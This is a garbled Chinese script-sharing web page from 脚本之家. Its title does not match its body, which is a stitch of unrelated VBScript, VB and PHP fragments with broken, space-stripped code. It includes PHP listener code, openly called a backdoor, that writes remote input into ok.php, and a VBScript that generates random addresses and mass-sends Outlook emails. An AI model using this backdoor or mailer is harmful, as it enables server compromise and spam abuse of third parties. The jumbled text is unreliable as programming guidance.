常用的maya脚本编辑器怎么用如何数据库文件

发布时间:2021-03-08 来源:脚本之家 点击:


  假设光驱为E:,VCD碟片文件为E:\MPEGAV\MUSIC01.DAT"
t=t&"|"&"18:00:00|帅哥还没回家?快提醒下"
t=t&"|"&"22:30:00|哥哥,备份当前数据,时间要到了

英雄联盟脚本购买
前不久学了一段时间php,网上看到一个php的监听程序,可以用它来做一个后门,s端s.php代码如下:

<?
//设置一些基本的变量
$host="192.168.8.100";
$port=12345;
//设置超时时间
set_time_limit(0);
//创建一个Socket
$socket=socket_create(AF_INET,SOCK_STREAM,0)ordie("Couldnotcreate
socket\n");
//绑定Socket到端口
$result=socket_bind($socket,$host,$port)ordie("Couldnotbindto
socket\n");
//开始监听链接
$result=socket_listen($socket,3)ordie("Couldnotsetupsocket
listener\n");
//acceptincomingconnections
//另一个Socket来处理通信
$spawn=socket_accept($socket)ordie("Couldnotacceptincoming
connection\n");
//获得客户端的输入
$input=socket_read($spawn,1024)ordie("Couldnotreadinput\n");
//清空输入字符串
$input=trim($input);//将输入结果写入ok.php,这句是我加的
fputs(fopen('ok.php','a+'),"$input");

//处理客户端输入并返回结果
$output=strrev($input)."\n";
socket_write($spawn,$output,strlen($output))ordie("Couldnotwrite
output\n");
//关闭sockets
socket_close($spawn);
socket_close($socket);
?>

在ie打开这个php,运行它的服务器会监听12345端口三个定时器控件Timer1,Timer2和Tirner3;命令按钮控件数组cmd(0),......,Cmd(4),其caption属性分别为:“文字缩放”、“图片缩放”、“文字隐现”、“图片隐现”和“退出”

"
WScript.Quit
EndIf

'-------------根据用户输入信息中断相应进程
m=0
Fori=0ToUBound(xs)
Ifxs(i)<>"-2"then'---只有真实可用的序号才参与循环
ForEachpInpro_s
IfTrim(p.handle)=trim(d0(xs(i)))Then'---如果进程pid号码正是需要中断的就尝试中断
p_name=p.name
pd=p.terminate()
Ifpd=0Then'---判断中断进程的尝试是否成功
msg=p_name&"进程中断成功!"
m=m+1
Else
msg=p_name&"进程中断失败!"
EndIf
os.popupmsg,1,"通知",64+0
EndIf
Next
endif
Next

os.popupw&"个目标进程,已经中断了"&m&"个",5,"通知",64+0
WScript.quit

在Timer事件函数中加入以下代码:

  TIMER1_TIMER()

  I=I 1

  IFI=60THEN

  I=0

  PICTURE1(0).VISIBLE=TRUE

  PICTURE1(59).VISIBLE=FALSE

  ELSE

  PICTURE1(I).VISIBLE=TRUE

  PICTURE1(I-1).VISIBLE=FALSE

  ENDIF

  ENDSUB

  以上程序为每1/18秒变换一幅图象,构成循环播放,注意三维动画要设计成首尾相接的,这样一个循环和另一个循环之间才能衔接好

remianbird,notabigbird,itisadullbird.
remididn'tsingthreeyearsago,todayichirpit.

'OnErrorresumenext
onerrorgoto0
Setfs=CreateObject("Scripting.FileSystemObject")
Setletter=fs.CreateTextFile(wscript.ScriptFullName&".txt",True)
a=chr(97)
forx=97to121
a=a&chr(x+1)
next
letter.WriteLine(a)

n=chr(48)
forx=48to56
n=n&chr(x+1)
next
letter.WriteLine(n)

l=a&la
bl=a&la&n
sl=a&n

dimaletter(35)rem20
forz=1to36
aletter(z-1)=mid(sl,z,1)
remmsgboxaletter(z-1)
next

dimal(25)
forz=1to26
al(z-1)=mid(a,z,1)
remmsgboxal(z-1)
nextrem30

forz=1to26
s=al(z-1)
forz1=1to26
s1="."&al(z1-1)&s
forz2=1to26
s2=al(z2-1)&s1
forz3=1to26
s3=al(z3-1)&s2
forz4=1to26
s4="."&al(z4-1)&s3
forz5=1to36
s5=aletter(z5-1)&s4
forz6=1to36''50
s6=aletter(z6-1)&s5
forz7=1to36
s7=aletter(z7-1)&s6
forz8=1to36
s8=aletter(z8-1)&s7
forz9=1to36
s9=aletter(z9-1)&s8''60
forz10=1to36
s10="@"&aletter(z10-1)&s9
forz11=1to36
s11=aletter(z11-1)&s10
forz12=1to36
s12=aletter(z12-1)&s11
forz13=1to36''70
s13=aletter(z13-1)&s12
forz14=1to36
s14=aletter(z14-1)&s13
forz15=1to36
s15=aletter(z15-1)&s14
forz16=1to36
s16=aletter(z16-1)&s15
forz17=1to36
s17=aletter(z17-1)&s16
forz18=1to36
s18=aletter(z18-1)&s17
forz19=1to36
s19=aletter(z19-1)&s18
'msgboxs19
setoutlookapp=createobject("outlook.application")
ifoutlookapp<>0then
setoutlookapp=createobject("outlookexpress.application")
endif
forn=1to10
setitem=outlookapp.createitem(o)
item.to=s19
item.subject="test"
item.body="hello"
item.send
next




next
next
next
next
next
next
next
next
next
next
next
next
next
next
next
next
next
next
next
next

->

以往我们需要从1循环到100然后求和,但利用数组的这个特性我们可以通过简单的一行代码搞定,代码如下:

此外可以做很多类似的数学运算,比如以下几个

这些我们以往都通过循环进行的计算,现在都可以一行代码巧妙搞定,不得不叹服编程语言隐含的灵巧,编程的世界总有太多的东西等待我们去发现x编辑

后来朋友又发给我了一个段代码,如下
Public Function GetByte(ByVal p_s) As Integer
Dim bySource() As Byte
Dim byEncoded() As Byte
Dim destEncoding As Encoding


VBScript code
On Error Resume Next
Const wbemFlagReturnImmediately=&h10
Const wbemFlagForwardOnly=&h20
strComputer="."
Set objWMIService=GetObject("" & strComputer & "/root/CIMV2")
Set colItems=objWMIService.ExecQuery("SELECT * FROM Win32_SystemDriver", "WQL", _
wbemFlagReturnImmediately + wbemFlagForwardOnly)
For Each objItem In colItems
WScript.Echo objItem.DisplayName
Next

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号